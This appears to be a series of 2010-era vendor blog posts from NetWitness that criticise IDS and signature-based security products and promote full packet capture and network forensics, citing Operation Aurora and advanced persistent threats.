Now consider how many magic pills followed in the IDS wake.  Remember when DDOS was the threat?  A crop of DDOS mitigation products were made available to fix that problem.  Where are those products today?  Worms, Code Red and Nimda – gave rise to a swath of behavioral analytics products.  If I remember correctly – we were suppose to see Insider Threat as the next big thing a few years ago?  Weren’t data leakage and content monitoring systems supposed to plug that gap?  And all along this timeline, I need to manage this unmanageable amount of logs – so let me invest in SIM/SIEM.  SIM/SIEM not enough – perhaps you should look at the “Big Fix.”  The list could go on and on and on.

This is just a sampling of what you need to protect your networks, given the premise that you can automagically determine bad from good, based on some mythical perfect ruleset.  And oh yes, don’t forget – if you need help you can outsource it.  In the wake of “aurora”, and systemic compromises of some of the largest, most technology savvy companies in the United States, perhaps more will realize that compromise is INEVITABLE.  If sponsored adversaries want to get into your network, they will LIKELY SUCCEED.

We are chasing our tails, still looking for that magic pill that will secure our networks, and have not once stopped to reconsider our approach.  I single out IDS because it was the first, and loudest failure in the security space.  I believe it showed the world that security products do not have to work often or at all, but can be marketed and sold successfully. I believe it began the cycle of point solutions that has created a generation that believes it is possible to secure our networks without understanding them.

It is time to realize, that you will not know what is bad today, until tomorrow.  That you will not know the damage caused for hours, days, weeks or even months.  No matter what you invest in, nothing can protect you from what you do not know.  The threats we face tomorrow will not be the same as today.  And most importantly – you are doomed to failure if you rely on some magic solution to determine what is bad.

Instead of building our defenses based on a hodgepodge of point solutions, designed to fix yesterdays problems, why don’t we invest a modicum of our resources into an architecture that can analyze, interpret and record what is happening on your network – yesterday, today and tomorrow. Can we for a moment, invest in regaining an understanding of what is traversing our network, and create a capability to adapt to tomorrows problems?  That is the benefit in deploying NextGen.

A potential customer, after receiving a demo, commented recently on a single rule based alert that was added to a session during analysis called “suspicious file type” – saying the alert was a false positive because the executable downloaded was not malicious.  I corrected him, and not just semantically, that there are no “false positives” here.  There are simply flagged sessions based on intelligence, which add additional data elements.  If you choose to write a rule that alerts when someone downloads an executable, it will do so.  It does not make the assumption that that is a bad executable.  Humans do that.   Sure a single alert can be more valuable than others. Sure we can take a signature and incorporate it. However, it is the preponderance of the complete session analysis – perhaps various alerts, threat intelligence, and a deep detailed understanding of everything that happened in that session — all over time that provides your analysts the ability to ask very detailed and probing questions into your network — and get answers back immediately. Concerned about leakage?   Ask those question of the system.  Concerned about compliance, ask.  Concerned about malware downloads – ask.  Insiders?   Targeted PDFs?  Obfuscated javascript?  Proprietary information?  Law enforcement?  By analyzing it all, we give you a platform for answers.

“Not good enough” he said…  “It needs to tap my analyst on the shoulder and say Hey – look at this!”

“Ah – like an IDS” I responded.  He wanted a magic pill.   Institutionalized Failure.

I was helping a fortune customer yesterday determine if they were targeted by Operation Aurora. From everything we know to date, they were not. How do we know this? We looked. In 15 minutes or so, we looked back over the last 6 months of every bit and byte that has left that company, and compared every hostname, IP address, and HTTP URL that have been associated with these attacks. This is the power of full network surveillance, and this is why you MUST be performing real-time continual deep analysis of your network activities.

There is a discussion today of some of the malware, and zero day exploits out of McAfee. They are now calling this Operation “Aurora”. In the post, George Kurtz discusses how APT, or Advanced Persistent Threats is changing the security landscape once again. It is a message, and the discussion we at NetWitness have been pushing for years. While this attack has gone largely unnoticed for months, NetWitness customers have all the historic evidence necessary to assess damage. For some, this means gaining rapid confidence that they were not compromised. For some, it means rapid damage assessment, capturing evidence, and using everything they learn to increase their security today. As I watch the best security teams in the world struggle to collect evidence of this attack over the course of days or weeks, I cannot help but wonder how much easier it would have been had we been in place.

In early December, we were called into one of the affected companies, in partnership with a large service provider. Within days, we had NetWitness gear recording at every major gateway in the country, and were scheduling international deployments. While it appears that the damage was already done to this company long before we arrived, we were instrumental in shutting down many other infestations, as well as identifying hundreds of systems that were displaying abnormal or concerning communication patterns. Had this company been a NetWitness client only 30 or 60 days before, I am absolutely confident we would have been able to bring this particular activity to light weeks earlier.

We have been reaching out to our customers, providing them details of the communication that Operation Aurora utilized, along with very simple instructions that allow them to look back over time and reassess their security. One thing is certain, while we may not know the vector of a specific attack until after the fact, it is imperative that we have the ability to quickly assess the damage and retain evidence.

This is why we must begin recording our network activity NOW. Giving your network some form of memory is an absolute imperative, and the foremost defense against APT. Furthermore, simple recording is not enough. Good luck if your recording architecture is IP based. Customers of NetWitness can search the URLs, hostnames, and other application level beaconing activities in seconds. Try doing this by scanning over 50 terabytes of packet data manually. Had this attack employed more sophisticated hosting or resolution techniques like fast flux, and even the IP addresses would have been useless.

George is absolutely correct in his assessment that the landscape has changed. These types of organized, sponsored attacks are here to stay. I am sure those in the financial community, used to dealing with advanced ACH fraud and highly targeted attacks by the Russian Business Network are sitting back this morning and saying “Welcome to the party, pal!”

Welcome to the party, pal!

Did NetWitness actually release a new product that consists of a bucket filled with sand? The answer is yes, but the real question is why? We released B.O.S. in an attempt to sound the wake-up call…

Organizations can no longer afford to rely so heavily on perimeter based technologies, on signatures for identification of threats – and they cannot hide their heads in the sand and hope that nothing goes wrong.  Every day, things are going incredibly wrong.   Prevention alone is an epically failing strategy.

2009 can easily be called the year of advanced threats. The scary thing is that the same can be said for every year over the last five. Despite all efforts, attacks and data losses are getting progressively worse, not better.  During the past five years there have been thousands of breaches reported - impacting state and local government, small and medium sized businesses, multi-national organizations and some of the most sensitive branches of the U.S. Government.   No one is immune and the sickness is literally life threatening.

Imagine for a moment how many breaches went unreported…imagine how many have gone completely undetected.  This is a frightening reality highlighted by the 2009 Verizon Business Data Breach report which found that 49% of breaches went undiscovered for a period of months…and 70% of breaches went completely undetected by internal teams. How is this possible?

The answer is both simple and frightening – the technologies on which organizations have come to rely  aren’t able to prevent, detect, and combat the advanced threats of 2010.

Today’s security technologies are better suited for fighting the cyber-war of 1995 than they are for dealing with today’s advanced threats. The cyber-criminal underground and nation-sponsored groups are using teamwork, custom-developed malware, third-party vulnerabilities via exploit kits, and code obfuscation to bypass existing security technologies and perceptions of security derived from compliance efforts. Because of the industry’s overreliance on signature based technologies, security managers are under the false assumption that they are protected. Too much faith has been placed in firewalls, IDS/IPS, anti-virus, anti-spam and other perimeter platforms to catch the threats.  The current cyber war footing is analogous to bringing a knife to a gun battle – security leaders are reliant upon technologies designed to fight the cyber-war of 10 years ago…our adversaries are fighting with weapons of today.

So, what can be done?

In today’s threat environment it is vitally important that all organizations develop an effective, real-time capability to detect, analyze and respond rapidly to advanced threats.  During the last three years, many of the top security teams in the government and commercial sectors have turned to the advanced threat intelligence and real-time network forensics provide by NetWitness NextGen. The only way to truly know what is going on within the network is to look at everything that is going on within the network. Full packet capture and session recreation are the only ways to accomplish this end.  Where NetWitness NextGen is deployed, the result is an effective threat intelligence program and continuous augmented awareness that provides in-depth visibility into network events that escape existing network security monitoring tools.

In 2010, you should not be buying a bucket of sand.  To combat the advanced threats we now face, organizations must:

1) Reject “status quo” and compliance-focused thinking and acknowledge that prevention is a failing strategy when facing advanced threats;

2) Focus on real-time detection and rapid investigation of advanced attacks to shorten the risk exposure window of any incident;

3) Build an internal security team that is tailored for advanced threat detection and that is armed with an enterprise-wide, real-time, network forensics capability to achieve optimal network visibility…

In short…when looking to combat advanced threats, organizations should be using NetWitness NextGen.